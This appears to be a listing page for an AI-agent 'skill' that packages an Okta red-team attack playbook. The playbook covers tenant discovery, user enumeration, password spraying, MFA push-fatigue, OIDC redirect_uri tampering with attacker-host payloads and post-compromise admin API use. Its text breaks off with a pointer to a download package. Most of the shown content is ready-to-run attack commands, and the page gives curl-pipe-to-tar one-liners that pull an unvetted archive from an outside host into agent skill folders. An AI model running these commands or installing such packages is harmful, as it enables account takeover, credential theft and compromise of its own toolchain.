okta-attack – Writing & Content skill for AI agents
Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumera
Install the okta-attack skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-b48e2.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /okta-attack – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-b48e2.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $okta-attack – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-b48e2.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /okta-attack – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/okta-attack-b48e2.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /okta-attack – then describe the task you want done.
SKILL.md content
When to use this skill
Trigger when:
- DNS shows
<tenant>.okta.comor<tenant>.okta-emea.com(EMEA region) - Login flow redirects to
<tenant>.okta.com/loginor/app/<app_id>/sso/saml - Web pages reference
/signin/customize,oktapreview.com, orauth-js-sdk - Recon notes "uses Okta for SSO"
- A target has
*.okta.comSAN in TLS cert - Identity-fabric mapping returns Okta as IdP for a corporate app
DO NOT use for:
- Entra ID (use
m365-entra-attackinstead) - Google Workspace (use
google-workspace-attack— not yet built) - ADFS (different protocol, on-prem)
---
Tenant discovery
Direct guesses
# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 --connect-timeout 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
doneCross-ref from DNS
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
# Generate patterns list
cat > /tmp/okta_patterns.txt << 'EOF'
sso.client.example
login.client.example
auth.client.example
okta.client.example
sso.client-ltd.example
login.client-ltd.example
auth.client-ltd.example
okta.client-ltd.example
EOF
# Batch resolve with dnsx (concurrent, faster)
dnsx -silent -l /tmp/okta_patterns.txt -cname -resp-onlyCross-ref from app HTTP flow
# Visit corporate-app login, follow redirects
curl --max-time 30 --connect-timeout 10 -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant---
User enumeration
Method 1 — /api/v1/authn differential
The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 401 + "errorCode":"E0000119" → account locked
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
Method 2 — /api/v1/users/me/factors timing
Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
Method 3 — Sign-in widget JS endpoint
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant configMethod 4 — Org-specific identifier probing
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
[email protected]
[email protected]
[email protected]
[email protected]Method 5 — OIDC /v1/authorize with login_hint
# Tampering with login_hint param can reveal user existence on some configs
curl --max-time 30 --connect-timeout 10 -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't---
Authentication flow analysis (always do this first)
# Initial auth — observe what factors come back
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.toolResponse structure reveals factor configuration:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn(FIDO2) — phishing-resistantquestion(security questions) — extremely weak; KBA attackssms/call— phishing-able (push notification fatigue, SIM swap)push— phishing-able via MFA fatigueemail— phishing-able if attacker has email read accesstotp— phishing-able via AiTM
---
Password spray (with Okta-specific lockout discipline)
Lockout policy
Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
- ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
- Track per-user in atomic state file
- Stop on first valid hit OR if LOCKED rate exceeds threshold
Spray endpoint
# Same /api/v1/authn — see authentication flow aboveStatus codes to watch for
| Response | Meaning |
|---|---|
| 200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
| 200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
| 200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
| 200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
| 401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
| 401 E0000119 | User is locked |
| 429 | Rate-limit hit |
---
Push-notification fatigue (MFA bombing)
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
Detection-only check (does target allow it?)
# Initiate factor verification
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK---
OIDC redirect_uri tampering
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://[email protected]/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain---
SAML SP misconfiguration check (per-app)
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl --max-time 30 --connect-timeout 10 -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← see hunt-saml for XSW
# WantAssertionsSigned="false" ← assertion-replay possible
# <NameIDFormat>...emailAddress</NameIDFormat>---
Okta Admin API (post-cred-compromise)
If a valid cred + MFA-completed token is obtained:
# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken
# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: SSWS <token>" "htt… (full content is in the download package)
Related skills
- internal-narrative – Build and maintain one coherent company story across all audiences — employees…
- pydicom – Reads, inspects, writes, transforms, and preflights local DICOM datasets and pixel data…
- cloudflare-zero-trust – Protect internal apps with Cloudflare Access, device posture, and Zero Trust policies.
- cloudformation-best-practices – CloudFormation template optimization, nested stacks, drift detection, and…
- pymc – Builds and checks Bayesian models with PyMC, including hierarchical models, NUTS MCMC…
- jira-expert – Atlassian Jira expert for creating and managing projects, planning, product discovery…
- codebase-onboarding – Onboard a developer to a repository using Ontoly graph summaries. Use when asked to…
- competitor-summary-report-creator – Competitor Summary Report Creator. Use when working with competitor names or URLs and…